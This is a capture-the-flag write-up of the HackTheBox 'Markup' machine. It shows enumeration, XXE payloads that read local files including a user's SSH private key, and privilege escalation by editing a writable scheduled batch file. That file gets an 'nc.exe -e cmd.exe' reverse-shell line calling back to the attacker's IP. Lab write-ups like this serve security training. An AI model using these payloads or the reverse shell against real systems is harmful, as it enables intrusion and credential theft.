HackTheBox - Markup Writeup

Box author |  MrR3boot

Enumeration

• Top 1000 ports scan

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nmap -sC -sV -oN nmap/initial 10.10.10.49

• the result

• All ports scan

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nmap -sC -sV -p- -oN nmap/all_ports 10.10.10.49

• the result

Open Ports

• Well, both the Nmap scan result are the same
  • port 22/SSH
  • port 80/HTTP
  • port 443/HTTPs

Webpage

• Let’s take a look at the webpage HTTP

• Look’s like just a regular login page.
• We can try to login with credentials we’ve found from the previous box called Included
• Let’s try it

• Success
• Now, time to enumerate/play around with this page.

Order

• Well, I found out. We can order something on the order page
• Let’s try ordering something
• the result

• Every time a user orders something it’s always pop up this message.
• Let’s try check how this form handle the request

Burpsuite

• I’m gonna intercept the request by using burpsuite
• Then, send the request into repeater tab
• I found this body kinda weird at first.
• It’s doesn't look like any JSON data

• Then, I realize this is XML [Extensible Markup Language]
• Well, I heard something about XML injection before
• Let’s try it

XXE [XML External Entity Injection]

• Source
  • [YouTube]PwnFunction - XML External Entities (Explained)
  • HackTricks - Xml External Entity
  • Portswigger - XXE

New Entity

• I’m going to test if a simple new ENTITY declaration is working
• here’s what the payload gonna looks like.
• Source
  • HackTricks - Xml External Entity

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example "test"> ]>
<stockCheck>
<productId>&example;</productId>
<storeId>1</storeId>
</stockCheck>

• the result

• it is working

Read File

• Now, Let’s try to read a file with it
• So, I’m gonna insert this command

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<?xml version = "1.0"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///c:/windows/system32/drivers/etc/hosts"> ]>
<order>
    <quantity>
        1
    </quantity>
    <item>
        &example;
    </item>
    <address>
        Bed for sleeping of course
    </address>
</order>

• the result

• Wow! It works

Foothold/Gaining Access

• Remember this machine has SSH open.
• Let’s try to read the SSH private key
• Windows SSH key locate here: C:\Users\USERNAME\.ssh\

SSH

• I’m gonna put this as a payload

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<?xml version = "1.0"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///c:/users/daniel/.ssh/id_rsa"> ]>
<order>
    <quantity>
        1
    </quantity>
    <item>
        &example;
    </item>
    <address>
        Bed for sleeping of course
    </address>
</order>

• the result

• WOW! we’ve got the private key
• Let’s copy it and try login with SSH

• Now, Let’s try login with this command

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ssh -i <filename> [email protected]

• I’m in

User Flag

Log-Management

• Let’s start to enumerate this machine
• I found kinda sus folder in the root directory
  • maybe I don’t know it’s actually exists

• The folder called Log-Management
• Found the file name job.bat and see the content of that file

• So, I’m gonna assume this script for clearing event log and gonna run automatically like UNIX cronjob
• ¯\__(ツ)_/¯

Checking File Permission

• We can abuse this if we had the permission to change the content of the file

• Source

  • Microsoft - wevutils
  • Microsoft - icacls
  • superuser - windows list file permission
  • GeeksforGeeks - basic of batch scripting

• I’m going to run this command

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icacls job.txt

• we’ve got full access to that file
• remember we’re still daniel
• Let’s get the shell

Privilege Escalation

nc.exe

• Let’s get the reverse shell.
• First, we need to upload nc.exe into the machine

Windows do not come with nc installed. So, we need to upload it

• First, let’s start our nc for listening to the connection
• Then, put this payload in job.bat

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c:\log-management\nc.exe -e cmd.exe 10.10.14.43 9901

• the result
• we’ve got the shell and own the box

Admin Flag

Conclusion

I’ve learned a lot today. The XXE is so cool and it also can be dangerous if the input is not properly configured. Talk about “configure”. The file admin can run also need to configure properly in this case file called job.bat. Once again, don’t use the same password.

I have a fun time doing this machine and I hope you guys do too. Bye ;)